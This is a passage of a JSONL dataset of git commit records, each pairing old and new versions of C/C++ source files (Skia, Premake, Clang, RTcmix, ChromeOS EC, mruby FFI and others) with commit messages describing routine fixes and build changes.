(1)\",\n\t\t\"PF\",\n\t\t\"Reserved (0)\",\n\t\t\"AF\",\n\t\t\"Reserved (0)\",\n\t\t\"ZF (Zero)\",\n\t\t\"SF (Sign)\",\n\t\t\"TF (Trap)\",\n\t\t\"IF (Interrupt)\",\n\t\t\"DF (Direction)\",\n\t\t\"OF (Overflow)\",\n\t\t\"IOPL LSB\",\n\t\t\"IOPL MSB\",\n\t\t\"NT\"\n\t};\n\tint i;\n\tfor (i=0;i<sizeof(bits)\/sizeof(*bits);i++)\n\t\tBIT(bits[i], i);\n}\n","subject":"Fix printf warning when long long is 128-bit.","message":"Fix printf warning when long long is 128-bit.\n","lang":"C","license":"mit","repos":"olsner\/os,olsner\/os,olsner\/os,olsner\/os"}
{"commit":"a6ff25d87ab0d21c433390b80b513c46b6570f9c","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_GL_CUSTOM_SETUP_HEADER \"gl\/GrGLConfig_chrome.h\"\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_EXPLICIT_GPU_RESOURCE_ALLOCATION\n  #define SK_DISABLE_RENDER_TARGET_SORTING\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_PAINT_TEXTMEASURE\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_A8_MASKBLITTER\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_EXPLICIT_GPU_RESOURCE_ALLOCATION\n  #define SK_DISABLE_RENDER_TARGET_SORTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_PAINT_TEXTMEASURE\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_A8_MASKBLITTER\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Stop using Chrome config options.","message":"Stop using Chrome config options.\n\nThese options used to apply some best practices for how to configure\nSkia but those have been moved to GrContext options and this file is\nnow mostly optimizations specific to the Chrome rendering pipeline.\n\nSpecifically, we don't want to use VBOs on all classes of GPUs as it\ncan be much more efficient to allocate them on the CPU and pass the\nallocation to the driver.\n\nBug: 119222339\nTest: CTS passes and systrace shows increased performance\nChange-Id: I1d495a4ae8de99215d6be1ac1e7e01b1263af9f1\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"34e2799c7b628cb4f22400349e166ef66aaea99b","old_file":"solutions\/uri\/1005\/1005.c","new_file":"solutions\/uri\/1005\/1005.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    float a, b;\n\n    scanf(\"%f\", &a);\n    scanf(\"%f\", &b);\n\n    printf(\"MEDIA = %.5f\\n\", (a * 3.5 + b * 7.5) \/ 11.0);\n\n    return 0;\n}\n","subject":"Solve Average 1 in c","message":"Solve Average 1 in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"ff8d8029fdfa0b28c67012b8fcddb4e2d9a2523d","old_file":"src\/host\/os_rmdir.c","new_file":"src\/host\/os_rmdir.c","old_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = rmdir(path);\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","new_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2013 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = (0 == rmdir(path));\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","subject":"Fix error result handling in os.rmdir()","message":"Fix error result handling in os.rmdir()\n","lang":"C","license":"bsd-3-clause","repos":"Yhgenomics\/premake-core,felipeprov\/premake-core,sleepingwit\/premake-core,xriss\/premake-core,bravnsgaard\/premake-core,grbd\/premake-core,PlexChat\/premake-core,prapin\/premake-core,soundsrc\/premake-core,prapin\/premake-core,prapin\/premake-core,jsfdez\/premake-core,sleepingwit\/premake-core,resetnow\/premake-core,LORgames\/premake-core,sleepingwit\/premake-core,PlexChat\/premake-core,noresources\/premake-core,Blizzard\/premake-core,soundsrc\/premake-core,Meoo\/premake-core,lizh06\/premake-core,resetnow\/premake-core,tvandijck\/premake-core,TurkeyMan\/premake-core,sleepingwit\/premake-core,martin-traverse\/premake-core,felipeprov\/premake-core,jstewart-amd\/premake-core,LORgames\/premake-core,jsfdez\/premake-core,aleksijuvani\/premake-core,mendsley\/premake-core,Meoo\/premake-core,LORgames\/premake-core,martin-traverse\/premake-core,soundsrc\/premake-core,premake\/premake-core,resetnow\/premake-core,mandersan\/premake-core,lizh06\/premake-core,starkos\/premake-core,starkos\/premake-core,premake\/premake-core,mendsley\/premake-core,noresources\/premake-core,Blizzard\/premake-core,alarouche\/premake-core,TurkeyMan\/premake-core,saberhawk\/premake-core,TurkeyMan\/premake-core,prapin\/premake-core,alarouche\/premake-core,Yhgenomics\/premake-core,mandersan\/premake-core,CodeAnxiety\/premake-core,tritao\/premake-core,dcourtois\/premake-core,mandersan\/premake-core,alarouche\/premake-core,Meoo\/premake-core,mendsley\/premake-core,dcourtois\/premake-core,Blizzard\/premake-core,noresources\/premake-core,bravnsgaard\/premake-core,Blizzard\/premake-core,soundsrc\/premake-core,jstewart-amd\/premake-core,Blizzard\/premake-core,dcourtois\/premake-core,dcourtois\/premake-core,jsfdez\/premake-core,sleepingwit\/premake-core,akaStiX\/premake-core,premake\/premake-core,Tiger66639\/premake-core,Zefiros-Software\/premake-core,grbd\/premake-core,saberhawk\/premake-core,aleksijuvani\/premake-core,PlexChat\/premake-core,CodeAnxiety\/premake-core,Zefiros-Software\/premake-core,tvandijck\/premake-core,alarouche\/premake-core,Meoo\/premake-core,jsfdez\/premake-core,grbd\/premake-core,Tiger66639\/premake-core,starkos\/premake-core,starkos\/premake-core,tritao\/premake-core,Yhgenomics\/premake-core,xriss\/premake-core,kankaristo\/premake-core,bravnsgaard\/premake-core,xriss\/premake-core,Zefiros-Software\/premake-core,dcourtois\/premake-core,saberhawk\/premake-core,felipeprov\/premake-core,premake\/premake-core,premake\/premake-core,mandersan\/premake-core,grbd\/premake-core,akaStiX\/premake-core,starkos\/premake-core,Tiger66639\/premake-core,jstewart-amd\/premake-core,tvandijck\/premake-core,noresources\/premake-core,tritao\/premake-core,martin-traverse\/premake-core,kankaristo\/premake-core,noresources\/premake-core,TurkeyMan\/premake-core,jstewart-amd\/premake-core,resetnow\/premake-core,Zefiros-Software\/premake-core,aleksijuvani\/premake-core,xriss\/premake-core,tvandijck\/premake-core,saberhawk\/premake-core,PlexChat\/premake-core,bravnsgaard\/premake-core,dcourtois\/premake-core,jstewart-amd\/premake-core,premake\/premake-core,tritao\/premake-core,mandersan\/premake-core,Zefiros-Software\/premake-core,mendsley\/premake-core,martin-traverse\/premake-core,noresources\/premake-core,resetnow\/premake-core,CodeAnxiety\/premake-core,xriss\/premake-core,TurkeyMan\/premake-core,CodeAnxiety\/premake-core,bravnsgaard\/premake-core,felipeprov\/premake-core,Tiger66639\/premake-core,akaStiX\/premake-core,akaStiX\/premake-core,LORgames\/premake-core,lizh06\/premake-core,LORgames\/premake-core,soundsrc\/premake-core,CodeAnxiety\/premake-core,Blizzard\/premake-core,premake\/premake-core,aleksijuvani\/premake-core,starkos\/premake-core,starkos\/premake-core,kankaristo\/premake-core,Yhgenomics\/premake-core,dcourtois\/premake-core,kankaristo\/premake-core,tvandijck\/premake-core,noresources\/premake-core,mendsley\/premake-core,aleksijuvani\/premake-core,lizh06\/premake-core"}
{"commit":"f3bbcec5d714f9d457c99032e5b02c75d44b0d70","old_file":"lib\/StaticAnalyzer\/Checkers\/SelectorExtras.h","new_file":"lib\/StaticAnalyzer\/Checkers\/SelectorExtras.h","old_contents":"\/\/=== SelectorExtras.h - Helpers for checkers using selectors -----*- C++ -*-=\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_SELECTOREXTRAS_H\n#define LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_SELECTOREXTRAS_H\n\n#include \"clang\/AST\/ASTContext.h\"\n\nnamespace clang {\nnamespace ento {\n\ntemplate <typename... IdentifierInfos>\nstatic inline Selector getKeywordSelector(ASTContext &Ctx,\n                                          IdentifierInfos *... IIs) {\n  static_assert(sizeof...(IdentifierInfos),\n                \"keyword selectors must have at least one argument\");\n  SmallVector<IdentifierInfo *, 10> II{{&Ctx.Idents.get(IIs)...}};\n\n  return Ctx.Selectors.getSelector(II.size(), &II[0]);\n}\n\ntemplate <typename... IdentifierInfos>\nstatic inline void lazyInitKeywordSelector(Selector &Sel, ASTContext &Ctx,\n                                           IdentifierInfos *... IIs) {\n  if (!Sel.isNull())\n    return;\n  Sel = getKeywordSelector(Ctx, IIs...);\n}\n\nstatic inline void lazyInitNullarySelector(Selector &Sel, ASTContext &Ctx,\n                                           const char *Name) {\n  if (!Sel.isNull())\n    return;\n  Sel = GetNullarySelector(Name, Ctx);\n}\n\n} \/\/ end namespace ento\n} \/\/ end namespace clang\n\n#endif\n","new_contents":"\/\/=== SelectorExtras.h - Helpers for checkers using selectors -----*- C++ -*-=\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_SELECTOREXTRAS_H\n#define LLVM_CLANG_LIB_STATICANALYZER_CHECKERS_SELECTOREXTRAS_H\n\n#include \"clang\/AST\/ASTContext.h\"\n\nnamespace clang {\nnamespace ento {\n\ntemplate <typename... IdentifierInfos>\nstatic inline Selector getKeywordSelector(ASTContext &Ctx,\n                                          IdentifierInfos *... IIs) {\n  static_assert(sizeof...(IdentifierInfos),\n                \"keyword selectors must have at least one argument\");\n  SmallVector<IdentifierInfo *, 10> II({&Ctx.Idents.get(IIs)...});\n\n  return Ctx.Selectors.getSelector(II.size(), &II[0]);\n}\n\ntemplate <typename... IdentifierInfos>\nstatic inline void lazyInitKeywordSelector(Selector &Sel, ASTContext &Ctx,\n                                           IdentifierInfos *... IIs) {\n  if (!Sel.isNull())\n    return;\n  Sel = getKeywordSelector(Ctx, IIs...);\n}\n\nstatic inline void lazyInitNullarySelector(Selector &Sel, ASTContext &Ctx,\n                                           const char *Name) {\n  if (!Sel.isNull())\n    return;\n  Sel = GetNullarySelector(Name, Ctx);\n}\n\n} \/\/ end namespace ento\n} \/\/ end namespace clang\n\n#endif\n","subject":"Use clang++-3.5 compatible initializer_list constructor","message":"Use clang++-3.5 compatible initializer_list constructor\n\nOtherwise, a warning is issued.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@302654 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"3e5585d5a558396d52380478c2d85aeb954f4b43","old_file":"src\/rtcmix\/rtdefs.h","new_file":"src\/rtcmix\/rtdefs.h","old_contents":"\/* To avoid recursion in certain includes *\/\n#ifndef _RTDEFS_H_\n#define _RTDEFS_H_ 1\n\n#define MAXCHANS 4\n#define MAX_INPUT_FDS 128\n#define AUDIO_DEVICE 9999999\n\n\/* definition of input file desc struct used by rtinput *\/\ntypedef struct inputdesc {\n\tchar filename[1024];\n\tint fd;\n\tint refcount;\n#ifdef USE_SNDLIB\n\tshort header_type;        \/* e.g., AIFF_sound_file (in sndlib.h) *\/\n\tshort data_format;        \/* e.g., snd_16_linear (in sndlib.h) *\/\n#else\n  #ifdef sgi\n\tvoid *handle;\n  #endif\n#endif\n\tint data_location;        \/* offset of sound data start in file *\/\n\tfloat dur;\n} InputDesc;\n\nextern float *outbuff;\nextern float *outbptr;\nextern short *inbuff;  \/\/ DT:  for use with real-time audio input\n\n\/\/ NOTE: MAXBUF is a constant in SGI version!\nextern int MAXBUF;\n\n#ifdef _LANGUAGE_C_PLUS_PLUS     \/* Needed for MIPSpro *\/\nextern \"C\" {\n#endif\nextern float SR;\nextern int NCHANS;\nextern int RTBUFSAMPS;\n#ifdef _LANGUAGE_C_PLUS_PLUS\n}\n#endif\n\n#endif \/* _RTDEFS_H_ *\/\n\n","new_contents":"\/* To avoid recursion in certain includes *\/\n#ifndef _RTDEFS_H_\n#define _RTDEFS_H_ 1\n\n#define MAXCHANS 4\n#define MAX_INPUT_FDS 128\n#define AUDIO_DEVICE 9999999\n\n\/* definition of input file desc struct used by rtinput *\/\ntypedef struct inputdesc {\n\tchar filename[1024];\n\tint fd;\n\tint refcount;\n#ifdef USE_SNDLIB\n\tshort header_type;        \/* e.g., AIFF_sound_file (in sndlib.h) *\/\n\tshort data_format;        \/* e.g., snd_16_linear (in sndlib.h) *\/\n#else\n  #ifdef sgi\n\tvoid *handle;\n  #endif\n#endif\n\tint data_location;        \/* offset of sound data start in file *\/\n\tfloat dur;\n} InputDesc;\n\n\/* for insts - so they don't have to include globals.h *\/\nextern int MAXBUF;\nextern int NCHANS;\nextern int RTBUFSAMPS;\nextern float SR;\n\n#endif \/* _RTDEFS_H_ *\/\n\n","subject":"Move some globals to globals.h.","message":"Move some globals to globals.h.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"8d89c3c0d8b5e9c5aed145d25343e04a4b81c156","old_file":"driver\/fingerprint\/fpsensor.h","new_file":"driver\/fingerprint\/fpsensor.h","old_contents":"\/* Copyright 2019 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef __CROS_EC_DRIVER_FINGERPRINT_FPSENSOR_H_\n#define __CROS_EC_DRIVER_FINGERPRINT_FPSENSOR_H_\n\n#if defined(HAVE_PRIVATE) && !defined(TEST_BUILD)\n#define HAVE_FP_PRIVATE_DRIVER\n#include \"fpc\/fpc_sensor.h\"\n#else\n\/* These values are used by the host (emulator) tests. *\/\n#define FP_SENSOR_IMAGE_SIZE 0\n#define FP_SENSOR_RES_X 0\n#define FP_SENSOR_RES_Y 0\n#define FP_ALGORITHM_TEMPLATE_SIZE 0\n#define FP_MAX_FINGER_COUNT 5\n#endif\n\n#ifdef TEST_BUILD\n\/* This represents the mock of the private *\/\n#define HAVE_FP_PRIVATE_DRIVER\n#endif\n\n#endif \/* __CROS_EC_DRIVER_FINGERPRINT_FPSENSOR_H_ *\/\n","new_contents":"\/* Copyright 2019 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef __CROS_EC_DRIVER_FINGERPRINT_FPSENSOR_H_\n#define __CROS_EC_DRIVER_FINGERPRINT_FPSENSOR_H_\n\n#if defined(HAVE_PRIVATE) && !defined(EMU_BUILD)\n#define HAVE_FP_PRIVATE_DRIVER\n#include \"fpc\/fpc_sensor.h\"\n#else\n\/* These values are used by the host (emulator) tests. *\/\n#define FP_SENSOR_IMAGE_SIZE 0\n#define FP_SENSOR_RES_X 0\n#define FP_SENSOR_RES_Y 0\n#define FP_ALGORITHM_TEMPLATE_SIZE 0\n#define FP_MAX_FINGER_COUNT 5\n#endif\n\n#ifdef TEST_BUILD\n\/* This represents the mock of the private *\/\n#define HAVE_FP_PRIVATE_DRIVER\n#endif\n\n#endif \/* __CROS_EC_DRIVER_FINGERPRINT_FPSENSOR_H_ *\/\n","subject":"Exclude header on emulator build, not test build","message":"driver\/fingerprint: Exclude header on emulator build, not test build\n\nNow that we run unit tests on device, we want to be able to include the\nfingerprint sensor headers in test builds.\n\nBRANCH=none\nBUG=b:76037094\nTEST=make buildall -j\nTEST=With dragonclaw v0.2 connected to Segger J-Trace and servo micro:\n       .\/test\/run_device_tests.py\n\nSigned-off-by: Tom Hughes <fc5c12f30a5ed2baa0581f44ee14ad1eb7b20d83@chromium.org>\nChange-Id: Id406fd6039f1136f2ae8743453ead4a951805db5\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/2321827\nReviewed-by: Yicheng Li <77a205905d8955597c069555e9569c30512f6bd8@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"a3fadc72e797ba8494eb6641a677364e82b08584","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void* k);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\nvoid List_Delete(List* l, ListNode* n);\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void* k);\nvoid* ListNode_Retrieve(ListNode* n);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\nvoid List_Delete(List* l, ListNode* n);\n#endif","subject":"Add List Node Retrieve function declaration","message":"Add List Node Retrieve function declaration\n\nFunction to retrieve key from any List Node\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"76c1534e0bd78e9a7662edcf5c994bac63d939fd","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2005 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.01.05-k2\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t1\n#define QLA_DRIVER_PATCH_VER\t5\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2005 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.01.05-k3\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t1\n#define QLA_DRIVER_PATCH_VER\t5\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update version number to 8.01.05-k3.","message":"[SCSI] qla2xxx: Update version number to 8.01.05-k3.\n\nSigned-off-by: Andrew Vasquez <67840a4977006af7f584bdc4c86d7243c1629cad@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@SteelEye.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"deae63efe7c5469c68e451f30c23296bb67b80d6","old_file":"www\/db.h","new_file":"www\/db.h","old_contents":"\/*\n * db.h\n *\n * Copyright (C) 2011\t\tOpenTech Labs\n *\t\t\t\tAndrew Clayton <andrew@opentechlabs.co.uk>\n * Released under the GNU General Public License (GPL) version 3.\n * See COPYING\n *\/\n\n#ifndef _DB_H_\n#define _DB_H_\n\n\/* For Tokyocabinet (user sessions) *\/\n#include <tcutil.h>\n#include <tctdb.h>\n#include <stdbool.h>\n#include <stdint.h>\n#include <libgen.h>\n\n\/* MySQL *\/\n#include <my_global.h>\n#include <mysql.h>\n\nMYSQL *db_conn(void);\n\n#endif \/* _DB_H_ *\/\n","new_contents":"\/*\n * db.h\n *\n * Copyright (C) 2011\t\tOpenTech Labs\n *\t\t\t\tAndrew Clayton <andrew@opentechlabs.co.uk>\n * Released under the GNU General Public License (GPL) version 3.\n * See COPYING\n *\/\n\n#ifndef _DB_H_\n#define _DB_H_\n\n\/* For Tokyocabinet (user sessions) *\/\n#include <tcutil.h>\n#include <tctdb.h>\n#include <stdbool.h>\n#include <stdint.h>\n#include <libgen.h>\n\n\/* MySQL *\/\n\n\/*\n * The FCGI printf function seemed to be causing a conflict here, under F16\n * with GCC 4.6.2\n *\n * Just undef printf for the my_global stuff and then define it back again.\n *\/\n#undef printf\n#include <my_global.h>\n#define printf FCGI_printf\n\n#include <mysql.h>\n\nMYSQL *db_conn(void);\n\n#endif \/* _DB_H_ *\/\n","subject":"Fix compiler warnings under F16\/GCC 4.6.2","message":"Fix compiler warnings under F16\/GCC 4.6.2\n\nWhen compiling receiptomatic under Fedora 16 with GCC 4.6.2 we were\ngetting the following warnings...\n\ngcc -Wall -std=c99 -O2 -g -Wp,-D_FORTIFY_SOURCE=2 -fexceptions\n-fstack-protector --param=ssp-buffer-size=4 -fPIE -c receiptomatic-www.c\n-D_RECEIPTOMATIC_WWW_ -I..\/..\/libctemplate `pkg-config --cflags\nglib-2.0` `pkg-config --cflags gmime-2.0` `mysql_config --cflags`\nIn file included from \/usr\/include\/mysql\/my_global.h:1039:0,\n                 from db.h:21,\n                 from common.h:31,\n                 from receiptomatic-www.c:22:\n\/usr\/include\/mysql\/my_dbug.h:59:3: warning: ‘FCGI_printf’ is an\nunrecognized format function type [-Wformat]\n\nThis seemed to be a conflict between the FCGI_printf definition and the\nuse of 'ATTRIBUTE_FORMAT(printf, 1, 2)' in my_global.h\n\nThe workaround seems to be to undef printf before including my_global.h\nand then defining it back again afterwards.\n\nSigned-off-by: Andrew Clayton <02e0a999c50b1f88df7a8f5a04e1b76b35ea6a88@opentechlabs.co.uk>\n","lang":"C","license":"agpl-3.0","repos":"ac000\/receiptomatic"}
{"commit":"7cad08e5c045a002e25c710ccb528f22e21ed835","old_file":"src\/ffi.c","new_file":"src\/ffi.c","old_contents":"#include \"mruby.h\"\n#include \"mruby\/value.h\"\n\nstatic mrb_value longsize(mrb_state *mrb, mrb_value self)\n{\n  uint8_t size = (uint8_t)sizeof(long);\n  return mrb_fixnum_value(size);\n}\n\n\n\n\n\/* ruby calls this to load the extension *\/\nvoid mrb_mruby_rubyffi_compat_gem_init(mrb_state *mrb)\n{\n  struct RClass *mod = mrb_define_module(mrb, \"FFI\");\n  mrb_define_class_method(mrb, mod, \"longsize\", longsize, ARGS_NONE());\n}\n\nvoid mrb_mruby_rubyffi_compat_gem_final(mrb_state *mrb)\n{\n  \n}\n","new_contents":"#include \"mruby.h\"\n#include \"mruby\/value.h\"\n\nstatic mrb_value longsize(mrb_state *mrb, mrb_value self)\n{\n  uint8_t size = (uint8_t)sizeof(long);\n  return mrb_fixnum_value(size);\n}\n\n\n\n\n\/* ruby calls this to load the extension *\/\nvoid mrb_mruby_rubyffi_compat_gem_init(mrb_state *mrb)\n{\n  struct RClass *mod = mrb_define_module(mrb, \"FFI\");\n  mrb_define_class_method(mrb, mod, \"longsize\", longsize, MRB_ARGS_NONE());\n}\n\nvoid mrb_mruby_rubyffi_compat_gem_final(mrb_state *mrb)\n{\n  \n}\n","subject":"Fix for \"implicit declaration of function 'ARGS_NONE' is invalid\" error","message":"Fix for \"implicit declaration of function 'ARGS_NONE' is invalid\" error\n","lang":"C","license":"mit","repos":"schmurfy\/mruby-rubyffi-compat,schmurfy\/mruby-rubyffi-compat,schmurfy\/mruby-rubyffi-compat"}
{"commit":"296ec37839f1504138b340d785fb9a1fd1fa03a9","old_file":"include\/parrot\/string_primitives.h","new_file":"include\/parrot\/string_primitives.h","old_contents":"\/* string_funcs.h\n *  Copyright (C) 2001-2003, The Perl Foundation.\n *  SVN Info\n *     $Id$\n *  Overview:\n *     This is the api header for the string subsystem\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_STRING_PRIMITIVES_H_GUARD\n#define PARROT_STRING_PRIMITIVES_H_GUARD\n\n#ifdef PARROT_IN_CORE\n\n\/* Set the directory where ICU finds its data files (encodings,\n   locales, etc.) *\/\nvoid string_set_data_directory(const char *dir);\n\n\/* Convert from any supported encoding, into our internal format *\/\nvoid string_fill_from_buffer(Interp *interp,\n        const void *buffer, UINTVAL len, const char *encoding_name, STRING *s);\n\n\/* Utility method which knows how to uwind a single escape sequence *\/\ntypedef Parrot_UInt2 (*Parrot_unescape_cb)(Parrot_Int4 offset, void *context);\nParrot_UInt4\nstring_unescape_one(Interp *interp, UINTVAL *offset, STRING *string);\n\nUINTVAL\nParrot_char_digit_value(Interp *interp, UINTVAL character);\n\n#endif \/* PARROT_IN_CORE 